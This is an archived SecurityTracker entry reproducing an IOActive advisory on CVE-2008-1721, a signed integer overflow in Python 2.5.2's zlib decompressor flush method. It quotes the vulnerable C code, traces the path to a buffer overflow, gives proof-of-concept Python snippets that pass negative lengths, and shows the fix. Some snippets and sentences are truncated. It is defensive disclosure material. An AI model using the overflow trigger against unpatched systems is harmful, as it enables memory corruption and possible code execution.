Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Generic)  >   Python Vendors:
Python zlib Extension Module Signed Integer Overflow May Let Users Execute Arbitrary Code
SecurityTracker Alert ID:  1019823
SecurityTracker URL:
CVE Reference:   CVE-2008-1721   (Links to External Site)
Updated:  May 5 2008
Original Entry Date:  Apr 10 2008
Impact:   Execution of arbitrary code via local system, Execution of arbitrary code via network, User access via local system, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.5.2 and prior versions
Description:   A vulnerability was reported in Python. A user may be able to cause arbitrary code to be executed on the target system.

A user can supply specially crafted data that, when processed by the target application, will trigger a buffer overflow and potentially execute arbitrary code on the target system.

The vulnerability resides in 'Modules/zlibmodule.c'.

The vendor was notified on April 8, 2008.

Justin Ferguson reported this vulnerability.

Impact:   A user may be able execute arbitrary code on the target system.
Solution:   The vendor has issued a source code fix.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Jul 27 2009 (Red Hat Issues Fix) Python zlib Extension Module Signed Integer Overflow May Let Users Execute Arbitrary Code
Red Hat has released a fix for Red Hat Enterprise Linux 5.
Jul 27 2009 (Red Hat Issues Fix) Python zlib Extension Module Signed Integer Overflow May Let Users Execute Arbitrary Code
Red Hat has released a fix for Red Hat Enterprise Linux 4.
Jan 13 2010 (Sun Issues Fix) Python zlib Extension Module Signed Integer Overflow May Let Users Execute Arbitrary Code
Sun has issued a fix for Solaris 10 and OpenSolaris.

 Source Message Contents

Subject:  IOActive Security Advisory: Buffer overflow in Python zlib extension module

Title:			Buffer overflow in Python zlib extension module
Date Discoverd:		??-April-2008
Date Reported:		08-April-2008
Date Patched:		08-April-2008
Date Disclosed:		09-April-2008
Criticality:		Critical

Affected Products

Python 2.5.2, earlier and unstable version are likely to be vulnerable


The zlib extension module contains a method for flushing decompression
that takes an input parameter of how much data to flush. This parameter
is a
signed integer that is not verified for sanity and is thus potentially
When passed a negative value memory is misallocated and then the signed
is converted to an unsigned integer resulting in buffer overflow.

Techical Details
761 PyDoc_STRVAR(decomp_flush__doc__,
762 "flush( [length] ) -- Return a string containing any remaining\n"
763 "decompressed data. length, if given, is the initial size of the\n"
764 "output buffer.\n"
765 "\n"
766 "The decompressor object can no longer be used after this call.");
768 static PyObject *
769 PyZlib_unflush(compobject *self, PyObject *args)
770 {
771     int err, length = DEFAULTALLOC;
772     PyObject * retval = NULL;
773     unsigned long start_total_out;
775     if (!PyArg_ParseTuple(args, "|i:flush", &length))
776         return NULL;
777     if (!(retval = PyString_FromStringAndSize(NULL, length)))
778         return NULL;
781     ENTER_ZLIB
783     start_total_out = self->zst.total_out;
784     self->zst.avail_out = length;
785     self->zst.next_out = (Byte *)PyString_AS_STRING(retval);
788     err = inflate(&(self->zst), Z_FINISH);

The PyArg_ParseTuple() function acts as a bridge between Python and C
initializes the length variable if one was provided. Then at line 777
variable is passed as the second parameter to
The second parameter to PyString_FromStringAndSize() is also signed, and
the API call itself does not validate the parameter in non-debug builds.
This value then has the size of a PyStringObject summed with it and is
passed to the Python allocator which services the request. Upon
allocation the assignment at line 784 causes a sign conversion as the
member of the zst structure is an unsigned variable. Then at line 785
pointer to the memory that was allocated at line 777 is assigned to the
member of the zst structure. This culminates in buffer overflow at line
when the zlib inflate() function decompresses data.

Reproduction / Proof-of-Concept

When the length variable contains a value of -24 then the allocator is
to reserve 0 bytes of memory, however the allocator modifies the request
will allocate one byte of memory. For values ranging between -2 and -23
a small
amount of memory will be allocated due to being summed with the size of
PyStringObject. Both will mislead zlib into believing that there is
gigabytes of space available. If an attacker controls the input stream
then they can avoid the obvious Denial of Service simply be making the 
available input large than the output buffer, but smaller than the 
size required to hit an unmapped or read-only page of memory.

A semi-interesting note is that the value -1 will not work as when
this integer an API call mixes the return value and error code, with -1 
indicating that an error occurred. This check is done in conjunction
another check and thus does not cause the routine to fail, but rather
PyArg_ParseTuple() to initialize the length variable with a value of 1.

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living creature
        but man:
so that man is distinguished, not only by his reason, but also by this
        singular passion
from other animals; in whom the appetite of food, and other pleasures of
        sense, by
predominance, take away the care of knowing causes; which is a lust of
        the mind,
that by a perseverance of delight in the continual and indefatigable
generation of knowledge, exceedeth the short vehemence of any carnal

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()

import zlib

msg = """
Society in every state is a blessing, but government even in its best
        state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are
        exposed to the same miseries by a
government, which we might expect in a country without government, our
        calamities is heightened by
reflecting that we furnish the means by which we suffer! Government,
        like dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of the
        bowers of paradise. For were
the impulses of conscience clear, uniform, and irresistibly obeyed, man
        would need no other
lawgiver; but that not being the case, he finds it necessary to
        surrender up a part of his property
to furnish means for the protection of the rest; and this he is induced
        to do by the same prudence which
in every other case advises him out of two evils to choose the least.
        Wherefore, security being the true
design and end of government, it unanswerably follows that whatever form
        thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is
        preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)


This bug was patched in CVS and appends the following lines between 776
and 777:

    if (length <= 0) {
	PyErr_SetString(PyExc_ValueError, "length must be greater than zero");
	return NULL;
Further details can be found at and


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC